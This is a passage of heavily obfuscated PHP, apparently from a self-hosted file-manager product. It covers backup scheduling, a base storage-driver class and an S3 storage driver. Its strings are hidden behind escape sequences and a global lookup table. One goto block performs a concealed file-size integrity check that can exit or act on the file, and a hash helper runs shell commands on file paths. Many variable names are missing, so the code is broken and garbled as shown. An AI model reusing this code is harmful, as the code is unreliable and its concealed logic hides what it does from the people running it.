"\156\x61\x6d\145", "\x73\x74\141\x74\165\x73", "\143\x6f\x6e\x74\x65\156\x74", "\155\141\156\165\141\154", "\162\x65\163\x75\x6c\164", "\x74\x69\x6d\145\x46\x72\x6f\x6d", "\x74\151\155\145\x54\x6f"); public function config() { $ =& $_SERVER[㫙]; $ӱ = Model($[771])->get($[781]); $ӱ = json_decode($ӱ, !0); $ӱ = is_array($ӱ) ? $ӱ : array(); if (!isset($ӱ[$[756]])) { $ӱ[$[756]] = $[89]; } unset($ӱ[$[1620]]); Action($[1842])->taskInit(); Model($[1619])->cacheClear(); $ = $[1843]; $⎾ = Model($[1844])->findByKey($[1638], $); if (!$⎾) { $⎾ = array(); } if (isset($⎾[$[196]])) { $⎾[$[196]] = json_decode($⎾[$[196]], !0); } if (isset($ӱ[$[196]])) { $⎾[$[196]][$[1623]] = $ӱ[$[196]]; unset($ӱ[$[196]]); } return array_merge($⎾, $ӱ); } public function listData($ = false, $ = "\155\x6f\x64\151\146\x79\124\151\x6d\145", $ = false) { return parent::listData($, $, !0); } public function lastItem() { $ތ = $this->listData(); return !empty($ތ[0]) ? $ތ[0] : null; } public function kill($׶) { $æ =& $_SERVER[㫙]; $Ĉ = $this->listData($׶); if (!$Ĉ || empty($Ĉ[$æ[32]])) { return !0; } Task::kill($æ[780]); Task::kill($æ[801]); Task::kill($æ[810]); $ֵ = $Ĉ[$æ[32]]; $ڜ = TEMP_FILES . $æ[779] . $ֵ . $æ[8]; IO::remove($ڜ, !1); return $this->remove($׶); } public function remove($ǫ) { $ = $this->listData($ǫ); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[㫙][392]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function backupPath($𔚪) { $ڇ =& $_SERVER[㫙]; $ = $𔚪[$ڇ[32]]; $ԼҔ = Model($ڇ[771])->get($ڇ[772]); $塔 = substr(md5($ڇ[773] . $ԼҔ . $), 0, 8); return "\x7b\x69\157\72{$𔚪[$ڇ[753]]}\175\x2f\144\x61\x74\141\x62\x61\163\x65\57\x62\x61\x63\153\165\x70\x2f" . $ . $ڇ[11] . $塔; } public function start() { $ =& $_SERVER[㫙]; if ($GLOBALS[$[6]][$[90]][$[1845]] != $[89]) { return !0; } $ = $this->config(); if (!$ || $[$[1620]] != $[89]) { return !1; } $պ = $this->process(); foreach ($պ as $ͯ) { if ($ͯ) { return Task::restart($ͯ[$[392]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[756]] == $[190]) { $ = $->file(); } } Backup::set(array($[751] => 1, $[496] => time())); return !0; } public function process() { $ =& $_SERVER[㫙]; $欦 = array($[759] => Task::get($[780]), $[763] => Task::get($[801]), $[192] => Task::get($[810])); $ = !1; foreach ($欦 as &$β) { if ($) { $β = !1; continue; } if ($β) { $ = intval(_get($β, $[1655], 0)); if (time() - $ > 7200) { Task::kill($β[$[392]]); $ = !0; $β = !1; } } } return $欦; } public function restore() { $ =& $_SERVER[㫙]; ActionCall($[1056], !0, 1); ActionCall($[1056], !0, 0); } } goto C͘; Cﰢ: $_file = $_SERVER[$_SERVER[㫙][393]]; $_size = $_SERVER[㫙][394]; if ($_SERVER[$_SERVER[㫙][395]] != $_size($_file)) { $_getc = $_SERVER[㫙][396]; $_getfile = $_SERVER[$_SERVER[㫙][397]] . $_SERVER[㫙][398]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[㫙][226], $_getfilec); if (count($_getarrs) < $_SERVER[㫙][399]) { $exit = $_SERVER[㫙][400]; $exit(); } $_act = $_SERVER[㫙][401]; $_act($_file); } goto dΏ; BÃ̑: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $ =& $_SERVER[㫙]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($ڳޏ) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($ڳޏ, $_SERVER[㫙][8]); } return $ڳޏ; } public function iconvApp($ɽӥ) { return $ɽӥ; } public function iconvSystem($) { return $; } public function iconvTo($, $ĩ, $䘠) { $׭ϴ =& $_SERVER[㫙]; if (!$ || !function_exists($׭ϴ[69])) { return $; } static $ = array(); $ = $ĩ . $׭ϴ[70] . $䘠 . $׭ϴ[71] . $; if (isset($[$])) { return $[$]; } if (function_exists($׭ϴ[72])) { $䃀 = @mb_convert_encoding($, $䘠, $ĩ); } else { $䃀 = @iconv($ĩ, $䘠, $); } $䃀 = $䃀 ? $䃀 : $; if (strstr($䃀, $׭ϴ[73])) { $䃀 = str_replace($׭ϴ[73], $׭ϴ[11], $䃀); } $[$ĩ . $׭ϴ[70] . $䘠 . $׭ϴ[71] . $] = $䃀; $[$䘠 . $׭ϴ[70] . $ĩ . $׭ϴ[71] . $] = $; $[$䘠 . $׭ϴ[70] . $ĩ . $׭ϴ[71] . $䃀] = $; $[$ĩ . $׭ϴ[70] . $䘠 . $׭ϴ[71] . $䃀] = $䃀; return $䃀; } public function getPathInner($ԫ) { $ܢ = IO::init($ԫ); return $ܢ->path; } public function getPathOuter($叨) { $͋ =& $_SERVER[㫙]; $ſ = strlen(trim($this->pathBase, $͋[8])); $叨 = substr(trim($叨, $͋[8]), $ſ); return $this->pathDriver . $͋[8] . ltrim($叨, $͋[8]); } public function isParentOf($԰, $) { $ؿ =& $_SERVER[㫙]; $԰ = rtrim(strtolower($԰), $ؿ[8]) . $ؿ[8]; $ = rtrim(strtolower($), $ؿ[8]) . $ؿ[8]; $ږ = strpos($, $԰) === 0; return $ږ; } public function getType() { $ܘ =& $_SERVER[㫙]; $Ω = str_replace($ܘ[74], $ܘ[12], get_class($this)); return strtolower($Ω); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ʫ, $ʫ) { $ =& $_SERVER[㫙]; $ӆ = rtrim($ʫ, $[8]) . $[8] . $ʫ; $ƹ = $this->exist($ӆ); return $ƹ ? $ӆ : !1; } public function setModifyTime($Ʌ, $¦ = '') { } public function renameObject($, $ޑŽ) { $ =& $_SERVER[㫙]; $ˍЪ = $ޑŽ; Hook::trigger($[75], $this, $, $this, $this->pathFather($) . $ޑŽ); $ = $this->getPathOuter($); $ޑŽ = $this->pathFather($) . $ޑŽ; if (IO::isFile($)) { $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $ˍЪ); if ($) { IO::remove($); } } else { $ = IO::mkdir($ޑŽ); if (!$) { return !1; } $îʠ = IO::listPath($, !0); $ʧ = array_merge($îʠ[$[76]], $îʠ[$[77]]); foreach ($ʧ as $) { IO::move($[$[78]], $ޑŽ, REPEAT_RENAME_FOLDER); } IO::remove($); } return $ ? $ޑŽ : !1; } public function tempFile($ιî = '', $ = '') { if (!$ιî) { $ιî = rand_string(15); } $⎣ = TEMP_FILES . rand_string(15) . $_SERVER[㫙][8]; @mkdir($⎣, DEFAULT_PERRMISSIONS, !0); $ = $⎣ . $ιî; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($ዖ, $˄ = '', $⚐ = REPEAT_RENAME) { } public function mkdir($썰, $ = REPEAT_SKIP) { } public function delFile($) { } public function delFolder($ڿ) { } public function copyFile($, $) { } public function moveFile($ĭ, $ۊ) { } public function remove($͂؈) { if ($this->isFile($͂؈)) { return $this->delFile($͂؈); } return $this->delFolder($͂؈); } public function rename($Ž, $Ð) { } public function exist($) { } public function findByHash($ = '', $ퟋ = '') { return !1; } public function isFile($) { } public function isFolder($) { } public function size($ȭ) { } public function info($í) { } public function infoSimple($䜷) { return $this->info($䜷); } public function infoAuth($) { return $this->info($); } public function infoFull($Ϗ) { return $this->info($Ϗ); } public function infoWithChildren($Δ) { $ =& $_SERVER[㫙]; static $ = array(); if (isset($[$Δ])) { return $[$Δ]; } $ǰ = $this->info($Δ); if ($ǰ && $ǰ[$[33]] == $[79]) { $ = array($[80] => 0, $[81] => 0, $[82] => 0); $this->infoChildren($Δ, $); $ǰ[$[80]] = $[$[80]]; $ǰ[$[83]] = array($[84] => $[$[81]], $[85] => $[$[82]]); $[$Δ] = $ǰ; } return $ǰ; } public function listPath($퀐, $ = false) { } public function has($⥖, $ = false, $͜ = false) { } public function canRead($) { } public function canWrite($霿ڱ) { } public function getContent($շ) { } public function setContent($觾, $» = '') { } protected function infoChildren($߾, &$퓑) { $ =& $_SERVER[㫙]; check_abort_echo(); $Ӻ = $this->listPath($߾, !0); $Ӻ = array_merge($Ӻ[$[77]], $Ӻ[$[76]]); foreach ($Ӻ as $Ө) { if ($Ө[$[33]] == $[79]) { $퓑[$[82]]++; $ӟ = $this->getPathInner($Ө[$[78]]); $this->infoChildren($ӟ, $퓑); } else { $퓑[$[81]]++; $퓑[$[80]] += $Ө[$[80]]; } } } public function fileSubstr($, $, $) { } public function listAll($) { } public function listAllMake($旁ّ, &$ѹ) { $ğ =& $_SERVER[㫙]; check_abort_echo(); $ = $this->listPath($旁ّ, !0); if (!$) { return; } $Ċα = array_merge($[$ğ[77]], $[$ğ[76]]); foreach ($Ċα as $) { $̽ = $[$ğ[33]] == $ğ[79]; $ݰ = array($ğ[78] => $[$ğ[78]], $ğ[79] => $̽); if (isset($[$ğ[80]])) { $ݰ[$ğ[80]] = $[$ğ[80]]; } if (isset($[$ğ[86]])) { $ݰ[$ğ[86]] = $[$ğ[86]]; } if (!$̽) { $ѹ[] = $ݰ; continue; } $ѹ[] = $ݰ; $ = $[$ğ[78]]; $ǔ = $this->pathDriver; if (substr($[$ğ[78]], 0, strlen($ǔ)) == $ǔ) { $ = substr($, strlen($ǔ)); } $this->listAllMake($, $ѹ); } } public function listAllSimple($) { $Ẇ =& $_SERVER[㫙]; $¬ = array(); $󡩪 = $this->listAll($); $ӗҷ = $this->getPathOuter($); foreach ($󡩪 as $) { $ = $[$Ẇ[78]]; $ = $[$Ẇ[78]]; if (isset($[$Ẇ[87]])) { $ = $[$Ẇ[87]][$Ẇ[78]]; $[$Ẇ[80]] = $[$Ẇ[87]][$Ẇ[80]]; $[$Ẇ[86]] = $[$Ẇ[87]][$Ẇ[86]]; } else { $ = substr($[$Ẇ[78]], strlen(get_path_father($ӗҷ))); $ = $Ẇ[8] . ltrim($, $Ẇ[8]); } $ = array($Ẇ[78] => $, $Ẇ[79] => $[$Ẇ[79]]); if (isset($[$Ẇ[80]]) && !$[$Ẇ[79]]) { $[$Ẇ[80]] = $[$Ẇ[80]]; } if (isset($[$Ẇ[86]])) { $[$Ẇ[86]] = $[$Ẇ[86]]; } if (!$[$Ẇ[79]]) { $[$Ẇ[88]] = $; } $¬[] = $; } return $¬; } public function upload($, $⯩, $ = false, $و = REPEAT_REPLACE) { } public function uploadFileByID($, $, $叞) { } public function uploadFileByPath($ˊ, $՞, $΅ = array()) { } public function isUploadServer() { $Οí =& $_SERVER[㫙]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $Οí[89]) { return !0; } return $GLOBALS[$Οí[6]][$Οí[90]][$Οí[91]]; } public function isFileOutServer() { $ =& $_SERVER[㫙]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[89]) { return !0; } return $GLOBALS[$[6]][$[90]][$[92]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($۵) { $ =& $_SERVER[㫙]; if (!$this->isCdnHost()) { return $۵; } return str_replace(trim(get_url_root($۵), $[8]), trim($this->cdnHost, $[8]), $۵); } public function uploadLink($, $į = 0) { $ =& $_SERVER[㫙]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ץ = 1024 * 1024 * 10; $֍ = $į <= $ץ ? $[93] : $[94]; $뗜 = (!$į ? 1 : ceil($į / pow(1024, 3))) * 3600 * 4; $ⰵ = $this->{$֍}($, $뗜); if ($ⰵ) { $ⰵ[$[95]] = $; $ⰵ[$[96]] = $; } return $ⰵ; } public function uploadFormData($ҹ, $ = 3600) { } public function multiUploadFormData($, $ = 3600) { } public function download($, $֝) { } public function ext($ⴣ) { $Ƈɠ =& $_SERVER[㫙]; if (strpos($ⴣ, $Ƈɠ[8]) === -1) { $秳 = $ⴣ; } else { $秳 = $this->pathThis($ⴣ); } $ = $Ƈɠ[12]; if (strstr($秳, $Ƈɠ[10])) { $ = substr($秳, strrpos($秳, $Ƈɠ[10]) + 1); $ = strtolower($); } if (strlen($) > 3 && preg_match($Ƈɠ[97], $, $)) { $ = $Ƈɠ[12]; } return $; } public function pathThis($Ψ߭) { $Ԇ =& $_SERVER[㫙]; $Ψ߭ = str_replace($Ԇ[98], $Ԇ[8], rtrim($Ψ߭, $Ԇ[8])); $Ɂ = strrpos($Ψ߭, $Ԇ[8]); if ($Ɂ === !1) { return $Ψ߭; } return substr($Ψ߭, $Ɂ + 1); } public function pathFather($῾) { $ =& $_SERVER[㫙]; $῾ = str_replace($[98], $[8], rtrim($῾, $[8])); $݋ = strrpos($῾, $[8]); if ($݋ === !1) { return $[12]; } return substr($῾, 0, $݋ + 1); } public function hashSimple($̎ҽ) { $̛ =& $_SERVER[㫙]; if (!$̎ҽ) { return md5($̛[12]); } $倄 = $this->size($̎ҽ); $ = 200; $Ϟ = 50; if ($倄 <= $ * $Ϟ) { return $this->hashMd5($̎ҽ) . $倄; } $┖ = intval($倄 / $Ϟ); $ӻ = $̛[12]; for ($ = 0; $ < $Ϟ; $++) { $ӻ .= $this->fileSubstr($̎ҽ, $┖ * $, $); } $ӻ .= $this->fileSubstr($̎ҽ, $倄 - $, $); return md5($ӻ) . $倄; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[㫙][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($񊜄) { $ =& $_SERVER[㫙]; if (!$񊜄) { return md5($[12]); } if (!function_exists($[99])) { return !1; } $ = array($[100], $[101]); $ = Cache::get($[102]); if (!$) { $ = BASIC_PATH . $[103]; $ߺ = md5_file($); $ = $[104]; foreach ($ as $̑) { $Š = shell_exec($̑ . "\40\42{$}\x22"); if ($Š && substr(trim($Š), 0, 32) == $ߺ) { $ = $̑; break; } } Cache::set($[102], $, 3600); } if ($ == $[104]) { return !1; } $Š = shell_exec($ . "\x20\42{$񊜄}\42"); $Š = str_replace($[105], $[12], $Š); return substr($Š, 0, 32); } public function link($) { return $; } public function fileOut($ͭ, $ = false, $͐ = false, $ = '') { $ =& $_SERVER[㫙]; $this->cacheMethod(null, null); if (!$ͭ || !$this->exist($ͭ)) { show_json(LNG($[106]), !1, $͐); } $͂ = $this->getType() == $[107]; $ٙ = $GLOBALS[$[6]][$[90]][$[108]][$[109]]; $񴸊 = (double) $GLOBALS[$[6]][$[90]][$[108]][$[110]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $밻 = $this->infoFull($ͭ); $ݏ = $밻[$[80]]; $م = gmdate($[111], $밻[$[86]]); $ = $͐ ? $͐ : $this->iconvApp($밻[$[32]]); $ϐ = 0; $Є³ = $ݏ - 1; $ω = $this->ext($); if (in_array($ω, array($[112], $[113], $[114], $[115]))) { $ω = $[116]; } if (!$) { $ = md5($م . $this->hashSimple($ͭ)); } $ = $[117] . $ . $[117]; $ = get_file_mime($ω); if ($ === !1 && !mime_support($)) { $ = !0; $ = $[118]; } header($[119]); header($[120] . $); $ͱ = rawurlencode($); $ͱ = $[117] . $ͱ . $[121] . $ͱ; if ($) { header($[122]); header($[123] . $ͱ); } else { } header($[124] . gmdate($[111], time() + 3600 * 24 * 30) . $[125]); header($[126]); header($[127]); header($[128]); if (isset($_SERVER[$[129]]) && strtotime($_SERVER[$[129]]) == $밻[$[86]]) { header($[130], !0, 304); die; } if (isset($_SERVER[$[131]]) && $_SERVER[$[131]] == $) { header($[132] . $, !0, 304); die; } header($[132] . $); header($[133] . $م . $[125]); header($[134] . $); header($[135]); header($[136] . $ݏ); header($[137]); if (!$ && $ω == $[138]) { if ($ݏ > 1024 * 1024 * 5) { die; } $ = $this->getContent($ͭ); $ = Html::clearSVG($); header($[139] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$[140]]); if ($͂ && $ && $ٙ) { if (strstr($, $[141])) { header($[142] . $ͭ); } else { if (strstr($, $[143])) { header($[144] . $ͭ); } else { if (strstr($, $[145])) { header($[146] . $ͭ); } } } if ($񴸊) { header($[147] . $񴸊); } return; } if (isset($_SERVER[$[148]])) { if (preg_match($[149], $_SERVER[$[148]], $)) { $ϐ = intval($[1]); if (!empty($[2])) { $Є³ = intval($[2]); } } header($[150]); header("\x43\x6f\x6e\x74\145\156\x74\x2d\122\x61\156\x67\145\72\x20\142\171\164\x65\x73\40{$ϐ}\x2d{$Є³}\57" . $ݏ); } else { header($[151]); } header($[152]); $ = !0; if ($_SERVER[$[153]] == $[154] && $ݏ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($[155] . ($Є³ - $ϐ + 1)); } if ($_SERVER[$[156]] == $[157]) { return; } $ = 1024 * 100; $ = 0; if ($񴸊) { $ = intval(1000 * 1000 * ($ / $񴸊)); } while ($ϐ <= $Є³) { $ցݘ = timeFloat(); check_abort(); $ = $Є³ - $ϐ + 1; if ($ <= $) { $ = $; } echo $this->fileSubstr($ͭ, $ϐ, $); $ϐ += $; if ($ == $) { $ϐ = $Є³ + 1; } if ($) { $ຫ = intval(1000 * 1000 * (timeFloat() - $ցݘ)); $̀ = $ - $ຫ; if ($̀ > 5) { usleep($̀); } } } } public function fileOutServer($αǸ, $ = false, $LJ = false, $ɫσ = '') { $this->fileOut($αǸ, $, $LJ, $ɫσ); } public function fileOutLink($Ǧ) { header($_SERVER[㫙][158] . $Ǧ); die; } public function cacheMethod($ŀ߭, $у, $ݫ = null) { $ =& $_SERVER[㫙]; static $ = array(); $ = $у ? ltrim($this->getPathOuter($у), $[8]) : $у; $ظ = $[159] . $ŀ߭ . $[160] . rtrim($, $[8]); if (is_null($ŀ߭)) { $ = array(); return; } if (is_null($у)) { unset($[$ظ]); return; } if (!is_null($ݫ)) { $[$ظ] = $ݫ; return; } $ŝ = isset($[$ظ]) ? $[$ظ] : null; if (!is_null($ŝ)) { return $ŝ; } $ŝ = $this->{$ŀ߭}($у); $[$ظ] = $ŝ; return $ŝ; } public function fileOutImage($, $ÿ = 250) { $ =& $_SERVER[㫙]; set_timeout(); if (substr($, 0, 4) == $[145]) { $this->fileOutLink($); } $䉩 = $this->info($); $ = $䉩[$[32]]; $Վ = !1; if (isset($GLOBALS[$[161]]) && $GLOBALS[$[161]][$[78]] == $䉩[$[78]]) { $ĉ = $GLOBALS[$[161]][$[162]]; if (!$䉩[$[163]]) { $䉩[$[163]] = $GLOBALS[$[161]]; } if (isset($ĉ[$[164]])) { if ($ĉ[$[164]] <= $ÿ && $ĉ[$[165]] <= $ÿ) { $Վ = !0; } } $ = $䉩[$[163]][$[32]]; } if ($䉩[$[80]] <= 1024 * 50 || $Վ || !function_exists($[166]) || $䉩[$[167]] == $[168]) { return $this->fileOut($, !1, $); } if (isset($䉩[$[163]][$[169]])) { $ = $䉩[$[163]][$[169]]; } else { if (isset($䉩[$[163]][$[170]])) { $ = $䉩[$[163]][$[170]]; } else { $ = md5("{$䉩[$[32]]}\x5f{$䉩[$[78]]}\137{$䉩[$[80]]}"); } } $Ă劥 = "{$}\x5f{$ÿ}\56\x70\x6e\147"; if (!($˒ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $[171]))) { $ۻ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $[172]); } else { $ۻ = KodIO::make($˒); } if ($˒ = IO::fileNameExist($ۻ, $Ă劥)) { $ = KodIO::make($˒); return IO::fileOut($, !1, $); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $Ă劥; del_file($); if (!@file_exists($)) { $ = TEMP_FILES; if (!is_dir($)) { mk_dir($); } $ĉ = $ . $ . $[10] . $䉩[$[167]]; if (!@file_exists($ĉ)) { $ĉ = $this->download($, $ĉ); } ImageThumb::createThumb($ĉ, $, $ÿ, $ÿ * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($ĉ) ? IO::fileOut($ĉ) : $this->fileOut($); } if (!($Ő݁ = IO::move($, $ۻ))) { return IO::fileOut($); } del_file($); IO::fileOut($Ő݁); } public function fileOutImageServer($ꈧ, $ = 250) { $this->fileOutImage($ꈧ, $); } public function fileNameAuto($, $Ȥ, $ = REPEAT_RENAME, $Ȥ = false) { $Ώŏ =& $_SERVER[㫙]; $ = $ === $Ώŏ[12] ? $Ȥ : rtrim($, $Ώŏ[8]) . $Ώŏ[8] . $Ȥ; if ($ == REPEAT_REPLACE || !$this->exist($) || $Ȥ && $ != REPEAT_RENAME_FOLDER) { return $Ȥ; } if ($ == REPEAT_SKIP) { return !1; } $鈊 = $Ώŏ[10] . get_path_ext($Ȥ); $鈊 = $鈊 == $Ώŏ[10] || $Ȥ ? $Ώŏ[12] : $鈊; $Ή = 1; $ = substr($Ȥ, 0, strlen($Ȥ) - strlen($鈊)); $ϝœ = $ . "\50{$Ή}\51{$鈊}"; while ($this->exist(rtrim($, $Ώŏ[8]) . $Ώŏ[8] . $ϝœ)) { $ϝœ = $ . "\x28{$Ή}\x29{$鈊}"; $Ή++; } return $ϝœ; } private function fileNameAutoList($, $㽒, $髣 = false) { $ =& $_SERVER[㫙]; $ۅ՗ = $this->listPath($, !0); $ۅ՗ = array_merge($ۅ՗[$[77]], $ۅ՗[$[76]]); $ִ = array_to_keyvalue($ۅ՗, $[12], $[32]); $ī = $[10] . get_path_ext($㽒); $ī = $ī == $[10] || $髣 ? $[12] : $ī; $ݢ = substr($㽒, 0, strlen($㽒) - strlen($ī)); $ǐ = $ݢ . "\x28\x30\51{$ī}"; for ($ƙ = 1; $ƙ <= count($ִ) + 1; $ƙ++) { $ǐ = $ݢ . "\x28{$ƙ}\51{$ī}"; if (!in_array_not_case($ǐ, $ִ)) { return $ǐ; } } return $ǐ; } public function listAllFiles($, $杖, $ڋ܍ = array()) { $և =& $_SERVER[㫙]; if (empty($杖)) { return array(); } $ = array(); $ = trim($, $և[8]); foreach ($杖 as $ѥӗ) { $Ӱ = ltrim(substr(trim($ѥӗ, $և[8]), strlen($)), $և[8]); $ = array_merge($, $this->slicePath($Ӱ)); } $ = array(); foreach (array_unique($) as $ѥӗ) { $ = array($և[78] => $this->getPathOuter($և[8] . $ . $և[8] . $ѥӗ), $և[79] => 1, $և[80] => 0); if (substr($ѥӗ, -1) != $և[8]) { $[$և[79]] = 0; $؛ = $this->getPath($ . $և[8] . $ѥӗ); $[$և[80]] = isset($ڋ܍[$؛]) ? $ڋ܍[$؛] : $this->size($؛); } $[] = $; } return $; } public function slicePath($) { $ =& $_SERVER[㫙]; $ = explode($[8], trim($, $[8])); $ = 0; do { ++$; $[] = implode($[8], array_slice($, 0, $)) . $[8]; } while ($ < count($)); $[count($) - 1] = $; return $; } public function getHost() { $׾ =& $_SERVER[㫙]; $ = parse_url(trim($this->domain, $׾[8])); $Ј = isset($[$׾[173]]) ? $[$׾[173]] : http_type(); $ = isset($[$׾[174]]) ? $[$׾[174]] : $[$׾[78]]; if (isset($[$׾[175]])) { $ .= $׾[4] . $[$׾[175]]; } return $Ј . $׾[176] . $; } public function pathEncode($) { $ =& $_SERVER[㫙]; return str_replace($[177], $[8], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\x34"; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[㫙][178]; parent::__construct(); $this->_init($); } public function _init($Ω) { foreach ($Ω as $ƍ => $) { if (isset($this->{$ƍ})) { $this->{$ƍ} = $; } } $this->endpoint = $Ω[$_SERVER[㫙][179]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\x76\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $⅒ =& $_SERVER[㫙]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$⅒[180]] != $⅒[181] || $[$⅒[182]] != $⅒[181]) { return !1; } $ȓ = array_map($⅒[183], $[$⅒[184]]); if (!is_array($ȓ)) { $ȓ = array(); } $灒 = array($⅒[185], $⅒[186], $⅒[187], $⅒[188], $⅒[189]); $ = array_diff($灒, $ȓ); return empty($); } public function mkfile($碐, $Ŋ = '', $ۄ = REPEAT_RENAME) { $巷 = $this->setContent($碐, $Ŋ); if ($巷 !== !1) { return $this->getPathOuter($碐); } return !1; } public function mkdir($Ȏ, $ê = REPEAT_SKIP) { $ƣ =& $_SERVER[㫙]; if (empty($Ȏ) && $Ȏ !== $ƣ[190]) { return !1; } if ($this->_isFolder($Ȏ)) { return $this->getPathOuter($Ȏ); } $ʜ = $this->setContent($Ȏ, $ƣ[12], !0); if ($ʜ !== !1) { return $this->getPathOuter($Ȏ); } return !1; } public function copyFile($։, $, $ = array()) { $ =& $_SERVER[㫙]; $ = $this->objectMeta($։); if (!$) { return !1; } if ($[$[80]] <= 1024 * 1024 * 200) { $ŗ = $this->client->copyObject($this->bucket, $։, $this->bucket, $, $[191], $); } else { $ŗ = $this->client->multiCopyObject($this->bucket, $։, $this->bucket, $, $); } $ŗ = $ŗ ? $this->getPathOuter($) : !1; return $ŗ; } public function moveFile($, $ǜ) { if ($this->copyFile($, $ǜ)) { $this->delFile($); return $this->getPathOuter($ǜ); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $Ρ =& $_SERVER[㫙]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $Ѫ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $Ρ[8]) . $Ρ[8]; if (!empty($) && $ !== $Ρ[190] && !in_array($, $Ѫ[$Ρ[77]])) { $Ѫ[$Ρ[77]][] = $; } $ = $this->delByBatch($Ѫ[$Ρ[76]]); if (!$) { return !1; } $ = $this->delByBatch($Ѫ[$Ρ[77]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($ޙ) { foreach (array_chunk($ޙ, 1000) as $) { $ǡ˭ = $this->client->deleteObjects($this->bucket, $); if (!$ǡ˭) { return !1; } } return !0; } public function rename($ґ, $) { return $this->renameObject($ґ, $); } public function listPath($ݧ, $ݤ = false) { $ԃ =& $_SERVER[㫙]; $ = $this->fileList($ݧ, $ԃ[8], !0); foreach ($[$ԃ[77]] as $Ɋ => $ب) { $[$ԃ[77]][$Ɋ] = $this->folderInfo($ب, $ݤ); } foreach ($[$ԃ[76]] as $Ɋ => $ب) { $[$ԃ[76]][$Ɋ] = $this->fileInfo($ب[$ԃ[32]], $ݤ, $ب); } return $; } private function fileInfo($ź, $蛝 = false, $ƌ = array()) { $ѡ =& $_SERVER[㫙]; $ = array($ѡ[32] => $this->pathThis($ź), $ѡ[78] => $this->getPathOuter($ź), $ѡ[33] => $ѡ[192], $ѡ[167] => $this->ext($ź), $ѡ[80] => isset($ƌ[$ѡ[80]]) ? $ƌ[$ѡ[80]] : 0); if ($蛝) { return $; } $[$ѡ[193]] = $[$ѡ[86]] = 0; $[$ѡ[194]] = $[$ѡ[195]] = !0; if (empty($ƌ)) { $ƌ = $this->objectMeta($ź); if (!$ƌ) { return $; } } if (isset($ƌ[$ѡ[196]])) { $[$ѡ[86]] = $ƌ[$ѡ[196]]; } if (isset($ƌ[$ѡ[80]])) { $[$ѡ[80]] = $ƌ[$ѡ[80]]; } return $; } private function folderInfo($ݐ, $㩠 = false) { $ =& $_SERVER[㫙]; $ƣ = array($[32] => $this->pathThis($ݐ), $[78] => $this->getPathOuter($[8] . $ݐ), $[33] => $[79]); if ($㩠) { return $ƣ; } $ƣ[$[193]] = $ƣ[$[86]] = 0; $ƣ[$[194]] = $ƣ[$[195]] = !0; if ($ݐ == $[12]) { return $ƣ; } $ݐ = trim($ݐ, $[8]) . $[8]; $ʺ = $this->objectMeta($ݐ); if (isset($ʺ[$[196]])) { $ƣ[$[193]] = $ʺ[$[196]]; } return $ƣ; } private function fileList($ށ, $׶ = '', $͋ = 0) { $Ѿ =& $_SERVER[㫙]; $З = rtrim($ށ, $Ѿ[8]) . $Ѿ[8]; $ = $this->listObjs($З, null, null, $׶); if (!$) { return array($Ѿ[77] => array(), $Ѿ[76] => array()); } $ = $this->listItemCache === !1 ? !1 : !0; $ = $ = array(); foreach ($[$Ѿ[197]] as $) { $㷇 = $[$Ѿ[32]]; if ($㷇 == $З) { continue; } $؎ު = isset($[$Ѿ[80]]) ? $[$Ѿ[80]] : 0; $ = $؎ު == 0 && substr($㷇, strlen($㷇) - 1, 1) == $Ѿ[8] ? !0 : !1; if ($) { $this->cacheMethod($Ѿ[198], $㷇, $); $this->cacheMethod($Ѿ[199], $㷇, $); } if ($) { $[] = $㷇; continue; } $[] = $͋ ? $ : $㷇; } foreach ($[$Ѿ[200]] as $) { $[] = $[$Ѿ[32]]; if ($) { $this->cacheMethod($Ѿ[198], $[$Ѿ[32]], !0); } } if ($) { 